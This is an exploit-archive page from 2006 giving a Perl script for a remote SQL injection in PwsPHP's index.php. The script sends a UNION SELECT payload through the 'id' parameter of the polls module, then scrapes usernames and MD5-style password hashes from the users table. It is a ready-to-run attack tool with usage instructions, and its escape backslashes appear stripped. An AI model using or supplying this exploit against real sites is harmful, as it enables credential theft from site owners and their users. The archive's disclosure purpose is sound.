[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PwsPHP <= 1.2.3 (index.php) Remote SQL Injection Exploit
# Published : 2006-02-25
# Author : papipsycho
# Previous Title : phpDocumentor <= 1.3.0 rc4 Remote Commands Execution Exploit
# Next Title : phpWebSite <= 0.10.0-full (topics.php) Remote SQL Injection Exploit


#!/usr/bin/perl
#
# PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "nPwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploitn";
    print "Discovered by: papipsycho (papipsycho.com)n";
    print "Ported by str0ke (milw0rm.com)n";
    print "Usage: $0 www.example.com /directory/n";
    print "sever    -  URLn";
    print "path     -  path to index.phpn";
    exit ();
}

sub exploit
 {
    print qq(
    PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
    Discovered by: papipsycho (papipsycho.com)
    Ported by str0ke (milw0rm.com)nn);

    $string= "index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*";
    $url = sprintf("http://%s%s%s",$serv,$path,$string);
    $content = get "$url";
    @contents = split(/n/, $content);
    foreach $line (@contents) {
    if ($line =~ /(<center><b>)(.*?)(</b></center><br><br>)/){&username;}
    if ($line =~ /(<td>)(w{32})(</td>)/){&password;}
    }
}

sub username { print "[*] Username: $2n";}
sub password { print "[*] Hash: $2nn";}

if (@ARGV != 2){&usage;}else{&exploit;}

# www.Syue.com [2006-02-25]